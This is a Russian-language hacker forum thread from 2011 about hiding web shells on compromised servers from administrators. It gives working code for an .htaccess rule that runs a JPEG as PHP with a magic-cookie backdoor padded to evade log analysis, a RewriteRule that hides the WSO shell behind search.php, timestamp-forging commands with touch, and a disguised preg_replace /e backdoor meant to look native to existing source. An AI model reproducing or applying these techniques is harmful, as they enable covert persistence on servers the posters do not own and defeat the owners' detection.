Старый 15.04.2011, 17:23   #1
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию Играем в прятки c админом

Тема посвящена методам скрытия от глаз любопытного и не ленивого админа следов деятельности веб-шела.

Статьи писать я не мастер, поэтому самую суть.

Метод 1. Шел в картинке по хитрому
Фичи: доступ к шелу только по magic cookie, иначе картинка как картинка при любом способе доступа (в т.ч. ssh, ftp, web). Шел в логах имеет ту же длину, что и картинка, т.е. по логам никак не отличим от доступа к картинке.
минус - требует .htaccess и при определенных(запрещающих) настройках апача может не сработать, но в большинстве случаев все ОК.

что требуется, сама логика/способ:
.htaccess
Код:
<Files "src.jpg">
RemoveHandler .jpg
AddType application/x-httpd-php .jpg
php_value output_buffering 1
</Files>
инъекция в src.jpg
PHP код:
<?php
ob_end_clean
();
$file $_SERVER['SCRIPT_FILENAME'];
if (isset(
$_REQUEST['magic']))
{
    
// исполнение кода
    
$response 'hi ;)';
    while (
strlen($response) < filesize($file))
      
$response .= ' ';
    @
ini_set("zlib.output_compression"0); 
    echo 
$response;   
}
else
{  
    
// выводим картинку
    
header('Accept-Ranges: bytes');
    
header('Content-Type: image/jpeg');
    
$fp=fopen($file,"r");
    
$source=fread($fp,filesize($file));
    
fclose($fp);
    echo 
$source;
}
exit;
?>
Пример полнофункционального шела, спрятанного по этому принципу.
условие доступа к шелу:
if (isset($_REQUEST['Xz_path'])), т.е. при первом обращении к шелу добавьте к запросу
Cookie: Xz_path=1
DrakonHaSh вне форума   Ответить с цитированием
Старый 15.04.2011, 20:19   #2
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

Метод 2. Прячем из access.log обращение к wso через .htaccess + RewriteEngine
wso всем хорош, но по логам вычислить его, при желании, очень легко - один GET + постоянный POST и каждый раз различный размер ответа. Очень напоминает поиск этим и воспользуемся - найдем на серваке скрипт поиска и:

.htaccess
Код:
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} .*Magic.* [OR]  
RewriteCond %{HTTP_COOKIE} .*Magic.*
RewriteRule ^search\.php$ blabla/wso2.php
blabla/wso2.php - путь относительно папки где лежит search.php

обращаемся к search.php
либо с HTTP_USER_AGENT содержащим строку Magic
либо добавляем куку, содержащим строку Magic. [я делаю это вставкой в ответ от сервера строки Set-Cookie: Magic=1; expires= 15-Apr-2012 15:40:23 GMT]
и получаем wso
в access.log будет обращение только к search.php
Пример


Все вышеописанное - PoC, для реальных вещей все делается чуть хитрее - еще немного фантазии и хитрости и мы невидимки
DrakonHaSh вне форума   Ответить с цитированием
Старый 15.04.2011, 21:17   #3
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

Это интересно, но не более )

.htaccess в котором всё прописано - это само по себе палево. Во всяком случае админ, который может отследить wso по логу точно не проебёт внезапно появившийся или модифицированный файл.
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 15.04.2011, 21:46   #4
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

Цитата:
Сообщение от Jokester Посмотреть сообщение
.htaccess в котором всё прописано - это само по себе палево.
согласен, но именно по этому и написал что это PoC, а для для реальных вещей все стоит делать чуть хитрее.
я в реальных условиях или пишу в существующий .htaccess который не трогали уже больше года. [ и пишу естественно не просто так, а чуть чуть хитрее - в простом текстовом файле тоже можно прятаться ]
если же .htaccess нет или видно что он часто меняется или есть подозрение что не стоит навсегда прописываться в .htaccess , то, когда есть надобность прятаться, и позволяют условия, делаю включалку/выключалку (тоже через "magic cookies"):
вкл - создать(обновить) .htaccess
работа с шелом
выкл - удалить(восстановить) .htaccess

Цитата:
Сообщение от Jokester Посмотреть сообщение
Во всяком случае админ, который может отследить wso по логу точно не проебёт внезапно появившийся или модифицированный файл.
сервером редко занимается только один админ, обычно это команда - и админ(ы) и программер(ы) и владелец/юзеры. поэтому полезно "косить" под типа члена команды, который внес изменения [было время сидел на www.nulled.ws - изучал "контингент", их логику и специфику возникающих у них(сайтодержателей и их программеров) вопросов ]


кстати, еще один нюанс, на который нигде не видел чтобы акцентировали внимание:
если постоянно не использовать [2>&1], то по error.log отлично видно наличие шела на серваке и часто того, что пытались делать через этот шел.
DrakonHaSh вне форума   Ответить с цитированием
Старый 16.04.2011, 04:21   #5
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

как технология в любом случае интересно, молоток
Pashkela вне форума   Ответить с цитированием
Старый 16.04.2011, 09:28   #6
Nightmare
Banned
 
Регистрация: 06.07.2010
Сообщений: 162
Репутация: 10
По умолчанию

Вот лучше подскажите, как замаскировать шелл, если touch отключен, и админ ищет шеллы именно по дате модификации.
Nightmare вне форума   Ответить с цитированием
Старый 16.04.2011, 10:22   #7
Andrey1800
 
Регистрация: 31.08.2010
Сообщений: 196
Репутация: 154
По умолчанию

1 вариант: http://php.net/manual/ru/function.touch.php
2 вариант: залить свой touch
Andrey1800 вне форума   Ответить с цитированием
Старый 16.04.2011, 10:30   #8
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

Цитата:
Сообщение от Nightmare Посмотреть сообщение
Вот лучше подскажите, как замаскировать шелл, если touch отключен, и админ ищет шеллы именно по дате модификации.
не слишком понял какой именно touch отключен.
touch можно делать кучей способов:
php: touch(FILE_NAME, $time, $time)
sh: touch -t [[СС]YY]MMDDhhmm[.SS] FILE_NAME
perl, gcc, python

если же все это не работает, то искать(ждать) файл, который только что изменился и внести туда мини шел, но как нить очень хитро, чтобы при взгляде админа на изменения у него не возникло подозрений, т.е. не просто eval($_REQUEST['cmd']), а что нить типа
PHP код:
$varПоЛогикеПохожаяНаТуЧтоЕстьВИсходнике $_REQUEST['ParamПоЛогикеПохожийНаТоЧтоЕстьВИсходнике'];
...
... 
// куча кода
...
$someVar preg_replace("/http[s]?(.*)/e"$varПоЛогикеПохожаяНаТуЧтоЕстьВИсходнике$НеПустаяСтроковаяПеременнаяИзИсходника); 
т.е. смысл в том, чтобы вставленные строки для всех выглядели максимально родными для исходника.
DrakonHaSh вне форума   Ответить с цитированием
Старый 16.04.2011, 11:57   #9
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

Интересно то что тачат шеллы, а каталоги тоже ведь надо тачить после заливки если других модификаций не происходит:
touch -d ' ГГГГ-ММ-ДД ЧЧ:ММ:СС' dir_or_file

не раз читал историю и написано шелл протачил, смотрю диру, а там модификация ее не 09, а 11- смешно

С штаксесс идея не нова, много,много так юзает, просто никто никогда не писал(не верите - спросите у сеошников).
}{оттабыч вне форума   Ответить с цитированием
Старый 16.04.2011, 13:35   #10
525
 
Регистрация: 06.07.2010
Сообщений: 34
Репутация: 0
По умолчанию

Цитата:
Сообщение от DrakonHaSh Посмотреть сообщение
Метод 2.
в access.log будет обращение только к search.php
хочу дополнить апач при необходимости пишет логи rewrite тобото логи превращений урл, по дефолту они офф . Для проверки йдем в конфиги (httpd.conf, или apache.conf, или vhosts.conf) и смотрим нет ли там строчки Rewritelog file-path и Rewriteloglevel 0 по дефолту 0 то есть не пишутся,если Rewriteloglevel 9 или больше 0 то все превращения записываются
525 вне форума   Ответить с цитированием
Ответ

Метки
stealth shell

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot